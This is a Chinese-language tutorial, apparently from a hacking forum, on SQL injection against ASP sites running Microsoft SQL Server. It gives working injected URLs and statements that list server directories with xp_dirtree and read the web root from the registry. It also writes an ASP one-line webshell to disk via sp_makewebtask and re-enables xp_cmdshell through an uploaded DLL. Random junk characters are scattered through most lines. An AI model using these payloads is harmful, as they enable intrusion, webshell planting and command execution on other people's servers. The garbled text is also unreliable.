好,我们exec master..xp_dirtree'd:/test'
2 M9 V- q6 a/ l6 [* A9 a3 f% K& q假设我们在test里有两个文件夹test1和test2在test1里又有test34 U8 q0 Z* S# A9 _$ Z- z
结果显示
; X9 U1 h3 R! X/ g" d+ J7 c( F2 p
subdirectory depth1 @+ c% N5 ?; T) M$ J- g$ d, e
test1 1
' [% q5 m) l9 {1 t$ i' v! itest3 2
% w+ [8 X; O6 |( b, r/ G7 Itest2 1
% |; n0 R* g1 } d1 }
; V# j5 G# ^& U7 Y& R! _" L/ G哈哈发现没有那个depth就是目录的级数2 z4 n& Z) I' G9 u
ok了,知道怎么办了吧- |: B1 X# o" R
, v5 r( B5 e% t+ y3 A chttp://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000),id int)--
5 {+ b- j6 ?/ y4 K [http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'd:\' --
$ ^/ T, A c! P8 f' R- ~http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where id=1)-
) `: z8 a$ G9 y% P% L5 p* `
" M4 L* C; ?3 s+ G' ?) P0 l只要加上id=1,就是第一级目录 。
?8 I! A; B. U2 n
3 S3 I$ t) t7 X" q( I
: \& O @5 Z% T+ |" N; i8 L: E2 X通过注册表读网站路径:' H" j* T2 ~0 v' U' d$ k+ {
' S" m& G3 B# v: @. \% t/ N; L v `1.;create table [dbo].[cyfd] ([gyfd][char](255));
1 B* [& f# t: K5 U& d( a, o& ? _1 l t+ G/ v
2.DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values(@result);--
$ G7 W i) a; U& eid=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into cyfd (gyfd) values(@result);--" S% j) r! @8 ^8 _
+ A* p: z4 p1 \# e% ]0 o: V- E
3.and 1=(select count(*) from 临时表 where 临时字段名>1)" b9 s; @/ Z* a* ^$ m ]% G& `
and 1=(select count(*) from cyfd where gyfd > 1)
3 J* z+ ]/ ^$ L6 v, h/ _" R) M这样IE报错,就把刚才插进去的Web路径的值报出来了
8 @5 U s" |, ? A
2 F3 J5 ?3 l5 Q7 z& _$ `: m( R4.drop table cyfd;-- 删除临时表
8 a( l& |* ~$ d+ n% s/ l
( v1 u* v" a4 Y1 `$ k: N* e, P获得webshell方法:- ` s1 i) R* K9 P) |$ b. O
1.create table cmd (a image)-- \**cmd是创建的临时表
: {7 ^" B! |0 T% O; s( Q5 I: {0 k, W, n7 X; @5 Z ~4 B7 }+ A
2.insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)-- 往cmd表里插入一句话( H ^; j9 i9 d) Q" |4 {
4 S9 g* ~1 W6 s7 o% t$ s7 }0 ~
o4 P! G5 }" Y& _9 I6 n3.EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT image FROM cmd'
; X+ Q# k6 K4 c- z D6 bEXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
! c# |7 ?# }. S& U
4 F1 i' m( |2 T( k0 J$ I' ^( ~% l4.drop table cmd;-- 删除cmd临时表
: G( ~* C( X8 N" ^) x
$ q9 y% ?: n* N9 f8 o) j) g4 I( O3 W恢复xp_cmdshell方法之一:
# |8 b! G( p# a; L我很快就把xplog70.dll文件给他上传到e:\inetpub\wwwroot目录下了,来吧,我们来给他恢复,提交:5 o! Y# U& D5 |5 j/ Z! B
http://www.something.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetpub\wwwroot\xplog70.dll'' s* M( o- e, }& t) Q
恢复,支持绝对路径的恢复哦。:)( }7 o" Z1 b5 W! E$ H- [* G2 Z* {/ d( U" E
|